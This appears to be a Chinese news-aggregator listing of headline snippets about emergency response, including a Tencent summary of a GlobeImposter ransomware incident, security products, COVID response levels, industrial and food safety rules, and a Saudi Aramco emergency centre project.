    「常態實戰化的安全運營,能夠提升企業整體威脅發現和應急響應的能力,在發生安全事件時,改進檢測和響應時間,以最短時間保障業務系統的正常運行。」8月19日——21日,第八屆網際網路安全會(ISC 2020)的應急響應與安全運營論壇中,360集團信息安全中心負責人張睿帶來《基於360安全大腦的威脅運營落地與實踐》的分享,從360威脅運營的思路與方法、基於360安全大腦的威脅運營建設、基於360安全大腦的威脅運營工程實踐三個方面論述了360的安全運營。
  • 騰訊安全:域伺服器成入侵跳板,企業遭GlobeImposter勒索損失慘重
    Dlj中文科技資訊  近期,騰訊安全應急響應中心接到某企業發來的求助,稱其區域網內8臺伺服器遭到了勒索病毒攻擊。收到求助後,騰訊安全專家快速進行了深入溯源分析,確認該企業經歷的是一起GlobeImposter勒索病毒利用域伺服器作為跳板的定向攻擊事件。經勘察,該病毒通過RDP爆破入侵,在控制域伺服器後,攻擊者會在內網掃描入侵更多機器再次進行勒索加密,造成大面積病毒感染情況發生。
  • 海信「眼鏡蛇」入侵檢測系統(IDS)
    一、產品簡介  海信「眼鏡蛇」入侵檢測系統(IDS)是北京海信數碼科技有限公司網絡安全系列產品之一。該產品是一款技術先進、性能優越、功能強大的檢測黑客入侵並實時報警響應和防範的入侵檢測系統,能夠自動檢測分析網絡中傳輸的數據,對可疑事件進行準確檢測和阻斷,在內部區域網的主機和伺服器遭受破壞之前阻止非法入侵行為,最大限度地保證企業、銀行等網絡的安全運行。二、產品架構   海信「眼鏡蛇」入侵檢測系統主要由控制臺和探測器兩大部分組成。
  • 《危險化學品企業生產安全事故應急準備指南》發布!
    應急管理部辦公廳關於印發《危險化學品企業生產安全事故應急準備指南》的通知應急廳〔2019〕62號各省、自治區、直轄市應急管理廳(局),新疆生產建設兵團應急管理局,有關中央企業:為認真貫徹落實黨中央、國務院關於危險化學品安全生產工作的決策部署,指導危險化學品企業強化生產安全事故應急準備,提高應急管理工作水平
  • 數世諮詢報告:奇安信天眼威脅檢測與響應穩坐國內領頭羊
    12月8日,數字安全領域第三方調研機構數世諮詢發布《威脅檢測與響應(TDR)市場指南》報告。該報告顯示,TDR市場預計2021年規模約為39億元,增速迅猛。作為網絡安全領軍企業,奇安信在應用創新力和市場執行力兩個維度,均位列15家入圍廠商第一名。
  • 加強應急救援體系建設幫扶企業提升應急救援能力
    加強應急救援體系建設幫扶企業提升應急救援能力——懷來縣應急管理局到我縣開發區企業進行應急救援體系建設督導檢查近日,縣應急管理局派出督導組到東花園鎮開發區河北英維克科技有限公司進行應急救援體系建設現場督導,在督導中發現該企業存在預案之間缺乏銜接,體系不健全,應急裝備落後,救援能力有限等問題。
  • 2020年「三民」活動|青島市應急管理局:12萬人參加「第一響應人...
    1-10月份,全市安全生產事故起數、死亡人數同比下降9%和1.9%,自然災害總 體可控,安全生產事故大幅下降。一是12萬人參加「第一響應人」培訓,全民安全自救意識顯著提高。我市是率先普及「第一響應人」應急救護證書培訓的先行先試城市,也得到全市市民的支持和肯定。
  • 市房地產信息管理中心開展網絡與信息系統應急演練
    為全面檢查信息系統的可用性,增強工作人員處置突發安全事件的應急響應能力,市房地產信息管理中心(以下簡稱信息中心)於12月5日開展網絡與信息系統應急演練。局信息化建設辦公室和信息中心高度重視此次演練,成立了以局領導杜志成為組長的應急演練指揮小組。
  • 李明:國家生物安全應急體系和能力現代化路徑研究
    二、生物安全應急體系和能力建設   面對當前生物安全領域事件頻髮帶來的巨大挑戰,只有通過加強生物安全應急管理體系和能力建設,才能有效處置應對,為技術發展保駕護航,從根本上保護人民健康和促進經濟社會發展。
  • 打入沙特阿美石油市場,中企承建吉贊阿美應急響應中心投用
    中企承建的沙特吉贊阿美石油應急響應中心項目當地時間10月12日順利通過沙特皇家委員會和沙特國家石油公司(沙特阿美)的最終驗收檢測,取得最終驗收證書,正式投入使用。項目將助力吉贊經濟城發展以及抗擊新冠疫情。
  • TutorABC母公司iTutorGroup上線安全應急響應中心
    2019-01-18/09:45 日前,著名在線教育集團Tutor母公司暨iTutorGroup宣布完成安全應急響應中心
  • 南湖區構建「智慧應急」三大體系打造基層應急管理樣板
    二是探索風險管控評估模式。將企業風險防控工作納入街道智慧應急管控體系,在街道範圍內全面鋪開安全風險辨識和分類評估,生成「紅、橙、黃、藍」四色安全風險空間分布圖,逐一落實管控措施和責任人。在1921都市經濟園區率先實行園區風險管控體系創建,7家小微企業建立雙重預防機制,31家企業納入風險管控「四色圖」管理。
  • 四川省出臺八項一級應急響應措施
    ●全面落實響應要求●全面落實傳染源管理●全面落實醫療救治●全面實施公共場所監測檢測●全面開展宣傳教育和培訓●全面及時發布信息●全面落實物資保障儲備●全面實施聯防聯控1月25日,記者從四川省政府網站獲悉,根據《四川省突發公共衛生事件應急預案》,結合當前新型冠狀病毒感染的肺炎疫情防控形勢,四川省啟動突發公共衛生事件一級應急響應。
  • 企業復工安全應急演練方案
    二、場景設置及處置流程演練項目包括疫情防控工作部署、人員健康監測、現場應急隔離、疫情上報、人員疏散、人員轉移、密切接觸者的調查、應急消殺等環節。主要場景設置如下:(一)每日例會演練,詳細部署當日疫情防控工作1.綜合協調組牽頭組織,各組派員參加,公司疫情防控領導小組成員參會。
  • 沙特吉贊阿美石油應急響應中心項目正式投入使用
    神州瞭望網利雅得10月13日電 (記者 曹曉霞 文/圖 伍振 徐名峰 馬文海)當地時間10月12日,中鐵十八局集團沙特公司承建的沙特吉贊阿美石油應急響應中心項目順利通過沙特皇家委員會和沙特國家石油公司(沙特阿美)的最終驗收檢測,取得最終驗收證書,標誌著該項目正式投入使用
  • 食品安全應急處置
    級)和一般食品安全事故(Ⅳ級)(食品安全事故應急響應分級標準見附件)。當發生食品安全事故,根據縣食品安全委員會辦公室(以下簡稱「縣食安辦」)及縣市場監管局的建議,經縣人民政府批准或同意,適時啟動應急響應,縣食安委轉為縣食品安全事故應急處置指揮部(以下簡稱「縣應急指揮部」),統一領導、指揮和協調食品安全事故應急處置工作。
  • 中企承建吉贊阿美石油應急響應中心交付使用
    本報開羅10月18日電(記者 黃培昭)利雅得消息:由中鐵十八局集團沙特公司承建的吉贊阿美石油應急響應中心,日前順利通過沙特皇家委員會和沙特國家石油公司驗收檢測,標誌著該項目正式投入使用。
  • 多地啟動Ⅱ級應急響應
    施工工地、工業企業廠區和工業園區內應停止使用國二及以下非道路移動機械(清潔能源和緊急檢修作業機械除外)。工業企業禁止使用國四及以下重型載貨汽車(含燃氣)進行運輸(特種車輛、危化品車輛等除外),有特殊要求的嚴格按照河間市重汙染天氣應急減排清單車輛管控要求落實。
  • ...口罩嗎丨北京應急響應下調為三級,適當開放小區卡口,不再體溫檢測
    這是繼4月30日北京市突發公共衛生事件響應級別從一級響應調整到二級響應之後的再次調整。要高度關注境外輸入風險,凡是在北京入境國際航班,都要堅持遠端篩查包括核酸檢測、入境後核酸檢測,實行閉環管理。原則上所有入境進京人員都要進行集中醫學觀察。二是人員管控方面。繼續堅持入境人員和中高風險地區進京人員隔離觀察14天並進行核酸檢測的要求。繼續落實核酸檢測「應檢盡檢」措施,提升檢驗檢測能力。對我市確診後治癒出院患者,繼續實行14天集中觀察。